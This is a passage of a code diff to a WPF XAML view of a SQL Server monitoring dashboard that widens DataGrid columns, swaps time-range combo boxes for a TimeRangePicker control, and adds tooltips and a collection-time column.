                                             <DataGridTextColumn.ElementStyle>
                                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                                             </DataGridTextColumn.ElementStyle>
                                         </DataGridTextColumn>
-                                        <DataGridTextColumn Header="Avg IO (MB)" Binding="{Binding AvgIoMb, StringFormat='{}{0:N2}'}" Width="90">
+                                        <DataGridTextColumn Header="Avg IO (MB)" Binding="{Binding AvgIoMb, StringFormat='{}{0:N2}'}" Width="105">
                                             <DataGridTextColumn.ElementStyle>
                                                 <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                                             </DataGridTextColumn.ElementStyle>
@@ -553,7 +590,7 @@
                         </Grid>
 
                         <!-- Database Size Chart -->
-                        <GroupBox Grid.Row="1" Header="Database Sizes — Allocated vs Used" Margin="10,8,10,10"
+                        <GroupBox x:Name="DbSizeChartGroup" Grid.Row="1" Header="Database Sizes — Allocated vs Used" Margin="10,8,10,10"
                                   Foreground="{DynamicResource ForegroundBrush}">
                             <DockPanel>
                                 <!-- Says which bars leave the log out and why; the loader shows it only when a bar needs it -->
@@ -629,14 +666,7 @@
                     <TextBlock Text="Database Resource Usage" VerticalAlignment="Center" Margin="0,0,10,0"
                                FontWeight="Bold" FontSize="14"
                                Foreground="{DynamicResource ForegroundBrush}"/>
-                    <ComboBox x:Name="ResourceUsageTimeRangeCombo" SelectedIndex="3" Width="120" Margin="0,0,8,0"
-                              SelectionChanged="ResourceUsageTimeRange_Changed">
-                        <ComboBoxItem Content="Last 1 hour"/>
-                        <ComboBoxItem Content="Last 4 hours"/>
-                        <ComboBoxItem Content="Last 12 hours"/>
-                        <ComboBoxItem Content="Last 24 hours"/>
-                        <ComboBoxItem Content="Last 7 days"/>
-                    </ComboBox>
+                    <ui:TimeRangePicker x:Name="ResourceUsageTimeRangePicker" Compact="True" Margin="0,0,8,0" RangeChanged="ResourceUsageTimeRange_RangeChanged"/>
                     <Button Content="Refresh" Click="RefreshDatabaseResources_Click"
                             Margin="4,0,0,0" Padding="10,4" MinWidth="70"/>
                     <TextBlock x:Name="DbResourcesCountIndicator" Text="" Margin="12,0,0,0"
@@ -665,7 +695,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding CpuTimeMs, StringFormat='{}{0:N0}'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding CpuTimeMs, StringFormat='{}{0:N0}'}" Width="140">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CpuTimeMs" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -678,7 +708,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding PctCpuShare, StringFormat='{}{0:N1}'}" Width="70">
+                            <DataGridTextColumn Binding="{Binding PctCpuShare, StringFormat='{}{0:N1}'}" Width="95">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PctCpuShare" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -691,7 +721,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding LogicalReads, StringFormat='{}{0:N0}'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding LogicalReads, StringFormat='{}{0:N0}'}" Width="136">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="LogicalReads" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -704,7 +734,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding PhysicalReads, StringFormat='{}{0:N0}'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding PhysicalReads, StringFormat='{}{0:N0}'}" Width="141">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PhysicalReads" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -717,7 +747,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding LogicalWrites, StringFormat='{}{0:N0}'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding LogicalWrites, StringFormat='{}{0:N0}'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="LogicalWrites" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -730,7 +760,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding ExecutionCount, StringFormat='{}{0:N0}'}" Width="100">
+                            <DataGridTextColumn Binding="{Binding ExecutionCount, StringFormat='{}{0:N0}'}" Width="120">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ExecutionCount" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -743,7 +773,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding IoReadMb, StringFormat='{}{0:N2}'}" Width="100">
+                            <DataGridTextColumn Binding="{Binding IoReadMb, StringFormat='{}{0:N2}'}" Width="125">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="IoReadMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -756,7 +786,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding IoWriteMb, StringFormat='{}{0:N2}'}" Width="100">
+                            <DataGridTextColumn Binding="{Binding IoWriteMb, StringFormat='{}{0:N2}'}" Width="130">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="IoWriteMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -769,7 +799,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding PctIoShare, StringFormat='{}{0:N1}'}" Width="70">
+                            <DataGridTextColumn Binding="{Binding PctIoShare, StringFormat='{}{0:N1}'}" Width="85">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PctIoShare" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -782,7 +812,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding IoStallMs, StringFormat='{}{0:N0}'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding IoStallMs, StringFormat='{}{0:N0}'}" Width="125">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="IoStallMs" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -830,12 +860,8 @@
                     <TextBlock Text="Window:" VerticalAlignment="Center" Margin="16,0,6,0" FontSize="11"
                                x:Name="ObjectHeatmapWindowLabel" Visibility="Collapsed"
                                Foreground="{DynamicResource ForegroundMutedBrush}"/>
-                    <ComboBox x:Name="ObjectHeatmapWindowCombo" Visibility="Collapsed" SelectedIndex="1"
-                              Width="120" FontSize="11" Padding="4,2" SelectionChanged="ObjectHeatmapWindow_Changed">
-                        <ComboBoxItem Content="Last 7 days"/>
-                        <ComboBoxItem Content="Last 30 days"/>
-                        <ComboBoxItem Content="Last 90 days"/>
-                    </ComboBox>
+                    <ui:TimeRangePicker x:Name="ObjectHeatmapWindowPicker" Compact="True" Visibility="Collapsed"
+                                        RangeChanged="ObjectHeatmapWindow_RangeChanged"/>
                 </StackPanel>
 
                 <Grid Grid.Row="1" Margin="10,0,10,10">
@@ -862,7 +888,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding CurrentSizeMb, StringFormat='{}{0:N2}'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding CurrentSizeMb, StringFormat='{}{0:N2}'}" Width="150">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CurrentSizeMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -875,7 +901,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding Size7dAgoMb, StringFormat='{}{0:N2}'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding Size7dAgoMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}" Width="145">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Size7dAgoMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -885,10 +911,11 @@
                                 <DataGridTextColumn.ElementStyle>
                                     <Style TargetType="TextBlock">
                                         <Setter Property="HorizontalAlignment" Value="Right"/>
+                                        <Setter Property="ToolTip" Value="{Binding Size7dAgoNote}"/>
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding Size30dAgoMb, StringFormat='{}{0:N2}'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding Size30dAgoMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}" Width="150">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Size30dAgoMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -898,10 +925,11 @@
                                 <DataGridTextColumn.ElementStyle>
                                     <Style TargetType="TextBlock">
                                         <Setter Property="HorizontalAlignment" Value="Right"/>
+                                        <Setter Property="ToolTip" Value="{Binding Size30dAgoNote}"/>
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding Growth7dMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding Growth7dMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}" Width="140">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Growth7dMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -911,10 +939,11 @@
                                 <DataGridTextColumn.ElementStyle>
                                     <Style TargetType="TextBlock">
                                         <Setter Property="HorizontalAlignment" Value="Right"/>
+                                        <Setter Property="ToolTip" Value="{Binding Size7dAgoNote}"/>
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding Growth30dMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding Growth30dMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}" Width="145">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Growth30dMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -924,10 +953,11 @@
                                 <DataGridTextColumn.ElementStyle>
                                     <Style TargetType="TextBlock">
                                         <Setter Property="HorizontalAlignment" Value="Right"/>
+                                        <Setter Property="ToolTip" Value="{Binding Size30dAgoNote}"/>
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding DailyGrowthRateMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}" Width="100">
+                            <DataGridTextColumn Binding="{Binding DailyGrowthRateMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DailyGrowthRateMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -940,7 +970,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding GrowthPct30d, StringFormat='{}{0:N1}', TargetNullValue='n/a'}" Width="100">
+                            <DataGridTextColumn Binding="{Binding GrowthPct30d, StringFormat='{}{0:N1}', TargetNullValue='n/a'}" Width="140">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="GrowthPct30d" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -950,6 +980,7 @@
                                 <DataGridTextColumn.ElementStyle>
                                     <Style TargetType="TextBlock">
                                         <Setter Property="HorizontalAlignment" Value="Right"/>
+                                        <Setter Property="ToolTip" Value="{Binding Size30dAgoNote}"/>
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
@@ -1002,10 +1033,10 @@
                               <DataGridTextColumn Header="Reserved MB" Binding="{Binding CurrentReservedMb, StringFormat='{}{0:N1}'}" Width="110" ElementStyle="{StaticResource RightAlign}"/>
                               <DataGridTextColumn Header="Used MB" Binding="{Binding CurrentUsedMb, StringFormat='{}{0:N1}'}" Width="100" ElementStyle="{StaticResource RightAlign}"/>
                               <DataGridTextColumn Header="Rows" Binding="{Binding TotalRows, StringFormat='{}{0:N0}'}" Width="110" ElementStyle="{StaticResource RightAlign}"/>
-                              <DataGridTextColumn Header="Indexes" Binding="{Binding IndexCount}" Width="70" ElementStyle="{StaticResource RightAlign}"/>
+                              <DataGridTextColumn Header="Indexes" Binding="{Binding IndexCount}" Width="80" ElementStyle="{StaticResource RightAlign}"/>
                               <DataGridTextColumn Header="Growth MB" Binding="{Binding Growth30dMb, StringFormat='{}{0:N1}', TargetNullValue='n/a'}" Width="110" ElementStyle="{StaticResource RightAlign}"/>
                               <DataGridTextColumn Header="Growth %" Binding="{Binding GrowthPct30d, StringFormat='{}{0:N1}%', TargetNullValue='n/a'}" Width="100" ElementStyle="{StaticResource RightAlign}"/>
-                              <DataGridTextColumn Header="Daily Rate MB" Binding="{Binding DailyGrowthRateMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}" Width="110" ElementStyle="{StaticResource RightAlign}"/>
+                              <DataGridTextColumn Header="Daily Rate MB" Binding="{Binding DailyGrowthRateMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}" Width="115" ElementStyle="{StaticResource RightAlign}"/>
                           </DataGrid.Columns>
                       </DataGrid>
                       <TextBlock Grid.Row="1" Grid.RowSpan="2" x:Name="ObjectGrowthNoDataMessage"
@@ -1037,6 +1068,8 @@
                               <DataGridTextColumn Header="Total Reads" Binding="{Binding TotalReads, StringFormat='{}{0:N0}'}" Width="100" ElementStyle="{StaticResource RightAlign}"/>
                               <DataGridTextColumn Header="Updates" Binding="{Binding UserUpdates, StringFormat='{}{0:N0}'}" Width="100" ElementStyle="{StaticResource RightAlign}"/>
                               <DataGridTextColumn Header="Last Access" Binding="{Binding LastUserAccess, StringFormat='{}{0:yyyy-MM-dd HH:mm}'}" Width="140"/>
+                              <!-- One snapshot for every row; a column rather than a label keeps this grid's time where every other snapshot grid has it. -->
+                              <DataGridTextColumn Header="Collected" Binding="{Binding CollectionTimeLocal}" Width="150" SortMemberPath="CollectionTime"/>
                           </DataGrid.Columns>
                       </DataGrid>
                       <TextBlock x:Name="ObjectIndexNoDataMessage"
@@ -1116,37 +1149,37 @@
                                     <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="IndexName" Click="FilterButton_Click" Margin="0,0,4,0"/>
                                     <TextBlock Text="Index" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Header="Row Lock Waits" Binding="{Binding RowLockWaitCount, StringFormat='{}{0:N0}'}" Width="110" ElementStyle="{StaticResource RightAlign}"/>
-                            <DataGridTemplateColumn Header="Row Lock Wait ms" Width="130" SortMemberPath="RowLockWaitInMs">
+                            <DataGridTextColumn Header="Row Lock Waits" Binding="{Binding RowLockWaitCount, StringFormat='{}{0:N0}'}" Width="125" ElementStyle="{StaticResource RightAlign}"/>
+                            <DataGridTemplateColumn Header="Row Lock Wait ms" Width="140" SortMemberPath="RowLockWaitInMs">
                                 <DataGridTemplateColumn.CellTemplate><DataTemplate>
                                     <Border Background="{Binding RowLockHeat, Converter={StaticResource HeatBrush}, ConverterParameter=Lock}">
                                         <TextBlock Text="{Binding RowLockWaitInMs, StringFormat='{}{0:N0}'}" HorizontalAlignment="Right" VerticalAlignment="Center" Margin="6,2"/>
                                     </Border>
                                 </DataTemplate></DataGridTemplateColumn.CellTemplate>
                             </DataGridTemplateColumn>
-                            <DataGridTemplateColumn Header="Page Lock Wait ms" Width="130" SortMemberPath="PageLockWaitInMs">
+                            <DataGridTemplateColumn Header="Page Lock Wait ms" Width="140" SortMemberPath="PageLockWaitInMs">
                                 <DataGridTemplateColumn.CellTemplate><DataTemplate>
                                     <Border Background="{Binding PageLockHeat, Converter={StaticResource HeatBrush}, ConverterParameter=Lock}">
                                         <TextBlock Text="{Binding PageLockWaitInMs, StringFormat='{}{0:N0}'}" HorizontalAlignment="Right" VerticalAlignment="Center" Margin="6,2"/>
                                     </Border>
                                 </DataTemplate></DataGridTemplateColumn.CellTemplate>
                             </DataGridTemplateColumn>
-                            <DataGridTextColumn Header="Lock Escalations" Binding="{Binding IndexLockPromotionCount, StringFormat='{}{0:N0}'}" Width="120" ElementStyle="{StaticResource RightAlign}"/>
-                            <DataGridTemplateColumn Header="Page Latch Wait ms" Width="130" SortMemberPath="PageLatchWaitInMs">
+                            <DataGridTextColumn Header="Lock Escalations" Binding="{Binding IndexLockPromotionCount, StringFormat='{}{0:N0}'}" Width="125" ElementStyle="{StaticResource RightAlign}"/>
+                            <DataGridTemplateColumn Header="Page Latch Wait ms" Width="145" SortMemberPath="PageLatchWaitInMs">
                                 <DataGridTemplateColumn.CellTemplate><DataTemplate>
                                     <Border Background="{Binding PageLatchHeat, Converter={StaticResource HeatBrush}, ConverterParameter='Buffer Latch'}">
                                         <TextBlock Text="{Binding PageLatchWaitInMs, StringFormat='{}{0:N0}'}" HorizontalAlignment="Right" VerticalAlignment="Center" Margin="6,2"/>
                                     </Border>
                                 </DataTemplate></DataGridTemplateColumn.CellTemplate>
                             </DataGridTemplateColumn>
-                            <DataGridTemplateColumn Header="Page IO Latch Wait ms" Width="150" SortMemberPath="PageIoLatchWaitInMs">
+                            <DataGridTemplateColumn Header="Page IO Latch Wait ms" Width="160" SortMemberPath="PageIoLatchWaitInMs">
                                 <DataGridTemplateColumn.CellTemplate><DataTemplate>
                                     <Border Background="{Binding PageIoLatchHeat, Converter={StaticResource HeatBrush}, ConverterParameter='Buffer IO'}">
                                         <TextBlock Text="{Binding PageIoLatchWaitInMs, StringFormat='{}{0:N0}'}" HorizontalAlignment="Right" VerticalAlignment="Center" Margin="6,2"/>
                                     </Border>
                                 </DataTemplate></DataGridTemplateColumn.CellTemplate>
                             </DataGridTemplateColumn>
-                            <DataGridTextColumn Header="Reserved MB" Binding="{Binding ReservedMb, StringFormat='{}{0:N1}'}" Width="100" ElementStyle="{StaticResource RightAlign}"/>
+                            <DataGridTextColumn Header="Reserved MB" Binding="{Binding ReservedMb, StringFormat='{}{0:N1}'}" Width="110" ElementStyle="{StaticResource RightAlign}"/>
                         </DataGrid.Columns>
                     </DataGrid>
                     <TextBlock x:Name="NoIndexLockingMessage" Text="No locking/contention data recorded yet"
@@ -1191,7 +1224,7 @@
 
                 <!-- Header Controls -->
                 <StackPanel Grid.Row="0" Orientation="Horizontal" Margin="10,8" Height="36">
-                    <TextBlock Text="Database Sizes (All Servers)" VerticalAlignment="Center" Margin="0,0,10,0"
+                    <TextBlock Text="{Binding ElementName=ServerSelector, Path=SelectedItem.DisplayName, StringFormat='Database Sizes ({0})', FallbackValue='Database Sizes'}" VerticalAlignment="Center" Margin="0,0,10,0"
                                FontWeight="Bold" FontSize="14"
                                Foreground="{DynamicResource ForegroundBrush}"/>
                     <Button Content="Refresh" Click="RefreshDatabaseSizes_Click"
@@ -1222,7 +1255,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding FileTypeDesc}" Width="80">
+                            <DataGridTextColumn Binding="{Binding FileTypeDesc}" Width="105">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="FileTypeDesc" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1239,7 +1272,7 @@
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
                             <!-- TargetNullValue: a null size is the Hyperscale log file, which lives in the log service. The words are HyperscaleLogSize.Display; a Lite.Tests pin holds them together. -->
-                            <DataGridTextColumn Binding="{Binding TotalSizeMb, StringFormat='{}{0:N2}', TargetNullValue='n/a (log service)'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding TotalSizeMb, StringFormat='{}{0:N2}', TargetNullValue='n/a (log service)'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalSizeMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1252,7 +1285,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding UsedSizeMb, StringFormat='{}{0:N2}'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding UsedSizeMb, StringFormat='{}{0:N2}'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="UsedSizeMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1265,7 +1298,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding FreeSpaceMb, StringFormat='{}{0:N2}'}" Width="110">
+                            <DataGridTextColumn Binding="{Binding FreeSpaceMb, StringFormat='{}{0:N2}'}" Width="140">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="FreeSpaceMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1278,7 +1311,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding UsedPct, StringFormat='{}{0:N1}'}" Width="70">
+                            <DataGridTextColumn Binding="{Binding UsedPct, StringFormat='{}{0:N1}'}" Width="100">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="UsedPct" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1291,7 +1324,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding VolumeMountPoint, TargetNullValue='n/a'}" Width="80">
+                            <DataGridTextColumn Binding="{Binding VolumeMountPoint, TargetNullValue='n/a'}" Width="100">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="VolumeMountPoint" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1299,7 +1332,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding VolumeTotalMb, StringFormat='{}{0:N0}', TargetNullValue='n/a'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding VolumeTotalMb, StringFormat='{}{0:N0}', TargetNullValue='n/a'}" Width="155">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="VolumeTotalMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1312,7 +1345,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding VolumeFreeMb, StringFormat='{}{0:N0}', TargetNullValue='n/a'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding VolumeFreeMb, StringFormat='{}{0:N0}', TargetNullValue='n/a'}" Width="150">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="VolumeFreeMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1325,7 +1358,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding RecoveryModel}" Width="120">
+                            <DataGridTextColumn Binding="{Binding RecoveryModel}" Width="150">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RecoveryModel" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1333,7 +1366,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding GrowthDisplay}" Width="110" SortMemberPath="AutoGrowthSort">
+                            <DataGridTextColumn Binding="{Binding GrowthDisplay}" Width="130" SortMemberPath="AutoGrowthSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="GrowthDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1341,7 +1374,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding VlfCountDisplay}" Width="80" SortMemberPath="VlfCountSort">
+                            <DataGridTextColumn Binding="{Binding VlfCountDisplay}" Width="115" SortMemberPath="VlfCountSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="VlfCountDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1354,7 +1387,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Header="Monthly Cost ($)" Binding="{Binding MonthlyCostShare, StringFormat='{}{0:N2}'}" Width="110">
+                            <DataGridTextColumn Header="Monthly Cost ($)" Binding="{Binding MonthlyCostShare, StringFormat='{}{0:N2}'}" Width="125">
                                 <DataGridTextColumn.ElementStyle>
                                     <Style TargetType="TextBlock">
                                         <Setter Property="HorizontalAlignment" Value="Right"/>
@@ -1435,7 +1468,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AdrDisplay}" Width="60">
+                            <DataGridTextColumn Binding="{Binding AdrDisplay}" Width="85">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AdrDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1443,7 +1476,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding PvsSizeMb, StringFormat='{}{0:N2}'}" Width="130">
+                            <DataGridTextColumn Binding="{Binding PvsSizeMb, StringFormat='{}{0:N2}'}" Width="155">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PvsSizeMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1456,7 +1489,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding PvsPercentOfDatabase, StringFormat='{}{0:N1}'}" Width="90">
+                            <DataGridTextColumn Binding="{Binding PvsPercentOfDatabase, StringFormat='{}{0:N1}'}" Width="105">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PvsPercentOfDatabase" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1469,7 +1502,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding DatabaseDataSizeMb, StringFormat='{}{0:N2}'}" Width="120">
+                            <DataGridTextColumn Binding="{Binding DatabaseDataSizeMb, StringFormat='{}{0:N2}'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
